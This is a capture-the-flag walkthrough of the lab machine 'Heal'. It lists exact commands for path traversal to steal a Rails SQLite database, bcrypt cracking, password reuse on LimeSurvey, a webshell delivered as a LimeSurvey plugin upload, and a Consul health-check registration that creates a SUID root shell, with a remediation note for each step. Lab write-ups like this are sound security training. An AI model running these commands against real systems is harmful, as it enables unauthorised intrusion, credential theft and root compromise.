← all walkthroughs

Heal

Linux· Medium
owned
2026-09-03
time to own
13m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped heal's web surface with virtual-host fuzzing, uncovering three hidden sites behind the single nginx front end: a React resume-builder SPA, a Rails API, and a LimeSurvey instance. The Rails backend's file-download endpoint failed to sanitize a filename parameter, allowing path traversal to pull the application's SQLite database straight off disk; cracking a bcrypt hash inside it recovered the credential ralph:[REDACTED: recovered credential]. That password was reused to log into the LimeSurvey administration panel, where the built-in plugin-upload feature was abused to install a malicious plugin containing a PHP webshell, yielding code execution as www-data.

Reading LimeSurvey's on-disk configuration file exposed a database password that had also been reused as the local Linux account password for the user ron, giving a full SSH shell and the user flag. Finally, a HashiCorp Consul agent running as root on the loopback interface with its default ACL policy set to "allow" accepted an unauthenticated service-check registration whose script definition ran arbitrary shell commands, which was used to mint a SUID root shell and capture the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"
export T="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1ReconnaissanceVirtual host enumeration (HTTP Host header fuzzing)
Discovered hidden virtual hosts behind the single web front end
An Nmap sweep found only SSH (22) and HTTP (80) open. The HTTP response on port 80 redirected to heal.htb, but fuzzing the Host header against the base IP revealed two additional, otherwise-unreachable virtual hosts: api.heal.htb (a Rails backend) and take-survey.heal.htb (a LimeSurvey 6.6.4 instance). All three names had to be added to local DNS resolution to reach them.
Nmap: 22/tcp ssh, 80/tcp http nginx 1.18.0 (Ubuntu); vhost fuzzing surfaced api.heal.htb and take-survey.heal.htb in addition to heal.htb.
Exact commands 3
Confirm only 22 and 80 are open.
nmap -sC -sV -p- $TARGET
Vhost fuzz to find api.heal.htb and take-survey.heal.htb; filter out the baseline response size.
ffuf -H 'Host: FUZZ.heal.htb' -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline-size>
All three hostnames must resolve locally or the API/survey vhosts are unreachable.
printf "$TARGET heal.htb api.heal.htb take-survey.heal.htb\n" | sudo tee -a /etc/hosts
2Credential AccessPath Traversal / Arbitrary File Read (CWE-22)
Exploited an unsanitized download endpoint to steal the application database and crack a password
The Rails API's file-download feature (used by the SPA's 'Export as PDF' button) took a filename parameter with no traversal sanitization. After registering an account and authenticating to obtain a JWT, the traversal sequence was used to pull the Rails database configuration and then the underlying SQLite database file itself. The database contained a bcrypt password hash for user 'ralph', which was cracked offline to recover the plaintext password [REDACTED: recovered credential].
Signup call POST http://api.heal.htb/signup returned 201 Created with a session; database.yml pointed to storage/development.sqlite3, whose users table held ralph's bcrypt hash.
Exact commands 6
Register an account to obtain application access.
curl --resolve api.heal.htb:80:$TARGET -sS -i -X POST http://api.heal.htb/signup -H 'Content-Type: application/json' --data '{"username":"pentest","fullname":"Pentest User","email":"pentest@heal.htb","password":"$PASSWORD5","password_confirmation":"$PASSWORD5"}'
Sign in to receive a JWT in the a bearer token header.
curl --resolve api.heal.htb:80:$TARGET -sS -X POST http://api.heal.htb/signin -H 'Content-Type: application/json' --data '{"email":"pentest@heal.htb","password":"$PASSWORD5"}' -D -
--path-as-is is required — plain curl normalizes ../ client-side and hides the traversal.
curl --path-as-is -H "Authorization: Bearer $T" 'http://api.heal.htb/download?filename=../../config/database.yml'
Download the full application database.
curl --path-as-is -H "Authorization: Bearer $T" 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -o dev.sqlite3
Extract ralph's bcrypt password hash.
sqlite3 dev.sqlite3 'select email,password_digest from users;'
Crack the bcrypt hash to recover the plaintext password ([REDACTED: recovered credential]).
hashcat -m 3200 ralph_hash.txt rockyou.txt
FixSanitize and constrain the Rails file-download endpointCritical
WeaknessThe api.heal.htb /download endpoint passed a user-supplied filename directly to the filesystem with no path-traversal sanitization, letting an authenticated user read arbitrary files — including the app's database configuration and the SQLite database itself, which contained password hashes.
FixNever resolve file paths from raw client input. Map requested files to an allow-listed set of IDs (e.g., a database-backed lookup of generated PDFs owned by the requesting user) and use Rails' File.expand_path plus a strict prefix check (or Rails::Utils.secure_compare against a whitelist) to reject any path that escapes the intended directory. Store secrets (database.yml credentials) outside the web root and out of source control, using Rails encrypted credentials instead.
3Initial AccessPassword reuse across applications (T1078 Valid Accounts)
Reused the cracked password to log into the LimeSurvey admin panel
The password recovered from the Rails database (ralph:[REDACTED: recovered credential]) was reused, unchanged, as the LimeSurvey administrator's login for the survey application on the same host, granting full administrative control of LimeSurvey.
Exact commands 2
Fetch a fresh CSRF token and session cookie before posting login.
curl --resolve take-survey.heal.htb:80:$TARGET -sS -c cookies.txt -o login.html 'http://take-survey.heal.htb/index.php/admin/authentication/sa/login'
HTTP 302 confirms successful admin login.
curl --resolve take-survey.heal.htb:80:$TARGET -sS -D headers.txt -b cookies.txt -c cookies.txt -X POST 'http://take-survey.heal.htb/index.php/admin/authentication/sa/login' --data-urlencode 'YII_CSRF_TOKEN=<token-from-login.html>' --data-urlencode 'authMethod=Authdb' --data-urlencode 'user=ralph' --data-urlencode 'password=$PASSWORD8' --data-urlencode 'loginlang=default' --data-urlencode 'action=login'
FixEnforce unique credentials per system and MFA on admin panelsHigh
WeaknessThe password recovered from the Rails application database was valid, unchanged, as the LimeSurvey administrator login, letting a single cracked credential unlock a second, unrelated administrative system.
FixRequire unique passwords per application/account (enforce with a password manager and a policy against reuse), and add multi-factor authentication to the LimeSurvey admin panel so a leaked password alone is not sufficient for admin access.
4ExecutionMalicious plugin/webshell upload via admin panel (T1505.003 Server Software Component: Web Shell)
Uploaded a malicious LimeSurvey plugin to gain code execution as www-data
LimeSurvey's Configuration > Plugins > 'Upload & install' feature let an authenticated administrator upload an arbitrary plugin package. A package containing a config.xml (declaring compatibility version 6.0) plus a PHP webshell was uploaded, installed, and activated, placing the webshell in the plugin's upload directory and making it reachable over HTTP.
Curl to /upload/plugins/Healx/shell.php?cmd=id returned uid=33(www-data) gid=33(www-data) groups=33(www-data).
Exact commands 3
Config.xml must declare <compatibility><version>6.0</version></compatibility>; the on-disk plugin folder name equals config.xml's <name> tag; shell.php is a simple PHP webshell taking a 'cmd' parameter.
zip Healx.zip config.xml shell.php
Upload via the LimeSurvey 'Upload & install' plugin flow (Configuration > Plugins in the admin UI); must then be Installed AND Activated in the UI/API, not merely uploaded.
curl --resolve take-survey.heal.htb:80:$TARGET -sS -b cookies.txt -F 'the_file=@Healx.zip' 'http://take-survey.heal.htb/index.php/admin/pluginmanager/sa/upload'
Confirmed RCE: returned uid=33(www-data).
curl --resolve take-survey.heal.htb:80:$TARGET -sS --get 'http://take-survey.heal.htb/upload/plugins/Healx/shell.php' --data-urlencode 'cmd=id'
FixRestrict or disable LimeSurvey's plugin upload featureCritical
WeaknessAny authenticated LimeSurvey administrator could upload, install, and activate an arbitrary plugin package through the built-in plugin manager, and LimeSurvey placed the plugin's files — including a PHP webshell — in a web-reachable directory, giving direct remote code execution as the web server user.
FixDisable plugin upload/installation in production (manage plugins only via a controlled deployment pipeline), restrict the plugin-manager permission to a small trusted admin group, and configure the web server to deny script execution under the plugin upload directories. Keep LimeSurvey patched to the latest release.
5Privilege EscalationPlaintext credential reuse between application config and OS account (T1552.001 Credentials In Files)
Found a reused database password in LimeSurvey's config file and used it to SSH in as ron
LimeSurvey's configuration file, readable from the www-data webshell, stored the PostgreSQL database password in plaintext ([REDACTED: recovered credential]). That same password had been reused as the local Linux login password for the system user ron, giving direct SSH access and the user flag.
SSH as ron@$TARGET with [REDACTED: recovered credential] returned uid=1001(ron) gid=1001(ron) groups=1001(ron); /home/ron/user.txt read successfully.
Exact commands 3
Read the LimeSurvey config file via the webshell to expose the database password.
curl --resolve take-survey.heal.htb:80:$TARGET -sS --get 'http://take-survey.heal.htb/upload/plugins/Healx/shell.php' --data-urlencode 'cmd=cat /var/www/limesurvey/application/config/config.php'
Confirms shell access as ron using the reused password.
sshpass -p '$PASSWORD4' ssh -o StrictHostKeyChecking=no ron@$TARGET 'id'
Prints the user flag; replace output with <user.txt>.
sshpass -p '$PASSWORD4' ssh -o StrictHostKeyChecking=no ron@$TARGET 'cat /home/ron/user.txt'
FixStop storing and reusing plaintext database credentialsHigh
WeaknessLimeSurvey's config.php stored the PostgreSQL database password in plaintext and readable by the web application, and that same password was reused as the OS login password for the local user ron, letting a web-server compromise pivot directly to a full system shell.
FixMove database credentials out of config.php into environment variables or a secrets manager, restrict config.php file permissions to root:[REDACTED: recovered credential] with no world-read access, and ensure application/service credentials are never reused as operating-system account passwords. Rotate the exposed credential.
6Privilege EscalationUnauthenticated local service-registration API used for arbitrary root command execution (T1569.002 System Services / abuse of Consul health-check exec)
Abused an unauthenticated, root-run Consul agent to execute commands as root
A HashiCorp Consul agent was running as root and exposing its HTTP API on 127.0.0.1:8500 with acl_default_policy set to allow, meaning no ACL token was required for any API call. A service was registered with a health check whose 'Args' ran a shell command; when the agent next executed the check (on its interval, not immediately at registration), it copied /bin/bash to a SUID-root binary, giving a root shell and the root flag.
Cat /etc/consul.d/config.json showed acl_default_policy: allow; after PUT-registering the check, /tmp/rootbash appeared as -rwsrwsrwx root root; /tmp/rootbash -p -c id returned euid=0(root).
Exact commands 5
Confirm acl_default_policy is 'allow' (no token required) before proceeding.
ssh ron@$TARGET 'cat /etc/consul.d/config.json'
Run from ron's SSH session; the Check.Args command executes as root when the agent runs the check.
cat > /tmp/p.json <<'JSON'
{"Name":"x","ID":"x","Address":"127.0.0.1","Port":80,"Check":{"Args":["bash","-c","cp /bin/bash /tmp/rootbash && chmod 6777 /tmp/rootbash"],"Interval":"10s","Timeout":"5s"}}
JSON
Registers the malicious service check with the local, unauthenticated Consul API.
curl -sS -X PUT --data-binary @/tmp/p.json -H 'Content-Type: application/json' http://127.0.0.1:8500/v1/agent/service/register
The check does not fire at registration — wait roughly one interval (~10s) before checking for the SUID binary.
sleep 12; /tmp/rootbash -p -c 'id'
Reads the root flag as root; replace output with <root.txt>.
/tmp/rootbash -p -c 'cat /root/root.txt'
FixLock down the Consul agent API and stop running it as rootCritical
WeaknessThe Consul agent ran as root with acl_default_policy set to 'allow', so its local HTTP API on 127.0.0.1:8500 accepted unauthenticated requests to register a service with a script-based health check — code the root-privileged agent then executed on an unauthorised user's behalf.
FixSet acl_default_policy to 'deny' and require signed ACL tokens for all agent API calls, including service/check registration. Disable script/exec health checks (enable_script_checks=false, or enable_local_script_checks with per-check tokens if exec checks are required), and run the Consul agent under a dedicated low-privilege service account rather than root.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp